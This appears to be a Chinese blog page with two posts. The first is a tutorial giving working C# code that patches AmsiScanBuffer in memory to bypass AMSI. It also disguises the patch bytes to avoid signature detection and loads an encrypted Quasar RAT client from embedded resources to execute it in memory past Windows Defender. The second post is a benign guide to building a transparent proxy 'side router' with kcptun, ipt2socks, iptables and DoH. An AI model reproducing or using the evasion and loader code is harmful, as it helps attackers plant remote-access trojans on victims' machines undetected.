2020年11月

使用C#动态加载与ASMI Bypass绕过Windows Defender

1. 什么是C#的动态加载

C#允许使用Assembly动态加载DLL/EXE等可执行文件,并且可以调用其中指定的函数,写法如下


Assembly assem = Assembly.Load(payload);
MethodInfo main = assem.EntryPoint;
main.Invoke(null, new string[] { null });

其中加载支持从文件或从内存加载,分别有如下实现
-w1181
为了防止文件落地,我们一般只使用内存加载,因为如果你的payload被杀,也无法通过文件进行加载,如果使用内存加载,我们就可以先对Payload进行一定的混淆加密,这样在运行之前都不会被查杀

2. 什么是ASMI与如何Bypass

ASMI实际是程序在运行的时候会被注入一个asmi.dll,该文件会对程序运行时进行动态查杀,并且会查杀之后返回一个ASMI_RESULT,这里result里面存储了查杀的结果。
如果我要进行bypass,只需要hook这个result,让其返回一个正常结果即可实现绕过ASMI的检测。
github上有现成的实现,直接拿来用即可
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs
核心部分如下

public class Amsi
{
    // https://twitter.com/_xpn_/status/1170852932650262530
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

    public static void Bypass()
    {
        if (is64Bit())
            PatchAmsi(x64);
        else
            PatchAmsi(x86);
    }

    private static void PatchAmsi(byte[] patch)
    {
        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }
}

但是因为该库可能使用的人比较多,导致该dll会被查杀,我们只需要修改

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

把其中的数组顺序改一下,然后在输入的时候还原回去即可
少做修改如下

    public static void PatchNew()
    {
        byte[] patch = new byte[8];
        patch[0]= 0xB8;
        patch[1] = 0x57;
        patch[2] = 0x00;
        patch[3] = 0x07;
        patch[4] = 0x80;
        patch[5] = 0xC2;
        patch[6] = 0x18;
        patch[7] = 0x00;
        //0xB8, , , , , , , 

        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }

3. 用起来

首先把ASMIBypass编译出来,最后会生成一个DLL文件,我们新建一个C#的项目工程,可以直接引用这个dll文件,也可以通过我们前面说的动态调用进行执行,我这里对这个DLL进行了简单的混淆,并且把它加到资源文件中,最后通过动态调用他执行Bypass。
-w413
其中调用ASMIBypass部分代码如下

    public static void LoadBypassDll()
        {
            Assembly assembly = Assembly.GetExecutingAssembly();
            Assembly myAssem = Assembly.GetEntryAssembly();

            string asb = Resource1.ASBBypass_dll;
            string result = Dencrypt(asb);

            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            var theType = assem.GetType("HelloWord");
            var c = Activator.CreateInstance(theType);
            var method = theType.GetMethod("PatchNew");
            method.Invoke(c, null);
        }    

然后把我们的马也进行混淆加密,同样放入资源文件
我这里用的Quasar-1.3.0.0生成的客户端
-w349
然后动态调用其入口函数

    public static void LoadShellCode()
    {
            string result = Resource1.install2_exe;
            result = Dencrypt(result);
            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            MethodInfo main = assem.EntryPoint;
            main.Invoke(null, new string[] { null });
    }

剩下我们只需要在程序运行的时候先调用Bypass,在运行我们的马即可

namespace ASMIbypassM
{

    class Program
    {
        static void Main(string[] args)
        {
            Bypass.LoadBypassDll();
            Bypass.LoadShellCode();
        }
    }
}

最后运行毫无压力
-w1689

SuperRouter 自建旁路由

-w988

1. 什么是旁路由

主路由即是我们的网关路由器,负责网络数据的处理与传输,旁路由一般是一个单网卡设备,上级也是我们的网关路由器,我们可以在该设备上开启tcp转发等设置,然后把电脑或其他设备的网关地址改成该旁路由的地址,达到所有流量先通过该设备进行处理,然后在发送到网关路由器。
如果我们在旁路由上对特定的流量进行处理即可实现XX效果。

2. 运行原理

-w720

其中先在旁路由设备上开启proxy Client链接到远程的proxy Server,并在本地开启socks5代理,然后在使用ipt2socks把普通的socks5代理转换成iptable支持的透明代理
其中proxy Sever使用的是kcpTun+socks5(不支持udp),然后针对不同的内网IP进行指定不同的代理,如果针对不同的远程IP进行分流,则可以使用ipset进行增加规则,在通过iptable的match进行匹配。

3. 配置

1. 开启远程代理

这里使用的是我自己修改的kcptun,内置了socks5代理,执行运行

nohup ./kcp_server &

默认会监听29900(udp)端口,作为kcp的通讯端口,监听127.0.0.1:12489(tcp)作为本地s5,
客户端运行

nohup ./kcp_server -r remote_addr:29900 -l 127.0.0.1:65000 > /dev/null &

这样就会把远程的12498的s5转发到本地的65000(tcp)上
测试是否成功可使用

curl ipinfo.io -x socks5://127.0.0.1:65000

查看是否可以正常访问,若没问题则代表代理链接成功。

2. 开启本地透明代理

使用开源项目 ipt2socks

nohup ipt2socks -s 127.0.0.1:65000 -p 55000 -l 0.0.0.0 -R > /dev/null &

即可实现把本地的65000上的s5转化成监听在0.0.0.0:55000(tcp)上的透明代理

3. 配置iptables指定设备走代理上网

首先需要忽略掉本地IP的访问,否则会导致本地网络无法访问到旁路由设备

...
    private $ips=array(
                    "10.10.0.0/16",
                    "10.0.0.0/8",
                    "169.254.0.0/16",
                    "172.16.0.0/12",
                    "192.168.0.0./16",
                    "127.0.0.1/32",
                    "224.0.0.0/4",
                    "240.0.0.0/4"
                );
...
    public function runIPTABLE(){
        //先通过ulimit 设置可同时打开的文件句柄数量,并清空之前的iptable的nat记录
        $cmd="ulimit -n 65535;iptables -t nat -F;";
        system($cmd);
        foreach($this->ips as $ip){
            $cmd="iptables -t nat -I PREROUTING -d {$ip} -j RETURN;";
            system($cmd);
        }
        
    }

在设定指定IP走55000这个透明代理

iptables -t nat -A PREROUTING -p tcp -s 192.168.1.100 -j REDIRECT --to-ports 55000

这里的192.168.1.100为需要通过代理上网的内网客户机IP
到这里,所有192.168.1.100的所有出口流量都会被转发到本地55000进行处理,也就是会走之前配置的proxy Sever

4. 使用DOH

因为该代理只代理了tcp流量,所以我们DNS解析实际还是可以被干扰,这里我们使用cloudflare提供的DOH服务器和起dns转发工具

cloudflared proxy-dns --address 0.0.0.0 > /dev/null &

5.国内外流量分流

如果需要国内流量不通过该proxy进行转发,那么我们需要绕过所有的国内ip

    public function ipset_china(){
        $check='ipset -N china hash:net';
        $data=shell_exec($check);
        if(stripos($data,'already')!==false) return;
        // 通过ipset设置一个分组,并把所有中国的IP倒入进去
        $cmd=array(
            'ipset destroy china',
            'ipset -N china hash:net',
            'rm temp/cn.zone',
            'wget -O temp/cn.zone http://www.ipdeny.com/ipblocks/data/countries/cn.zone',
            'for i in $(cat ./temp/cn.zone ); do ipset -A china $i; done',
        );
        foreach($cmd as $c){
            system($c);
        }
    }
    
    public function connect_nochina($iptPort,$clientIp){
        $this->disconnect($clientIp);
        $this->ipset_china();
        $cmd=array(
        // 绕过国内IP
            "iptables -t nat -A PREROUTING -p tcp -s {$clientIp} -m set --match-set china dst -j RETURN", 
            
            "iptables -t nat -A PREROUTING -p tcp -s {$clientIp} -j REDIRECT --to-ports {$iptPort}"
        );
        foreach($cmd as $c){
            system($c);
        }

    }

6. 使用

现在只需要把客户机的ip分配改为手动,最后把网关写成该旁路由设备的ip地址,并把dns也改成该设备的IP即可。

3. 自动化

机遇上面的基础上,我们可以打造一套自己的流量转发系统
在该基础下也写了Frp的Gui管理
最终实现结果如下:
-w988
-w1455
-w1092

7. 依赖

cloudflared DOH客户端
ipt2socks socks5转透明代理工具
kcpTun加速协议
go-socks5 服务端
frp端口转发神器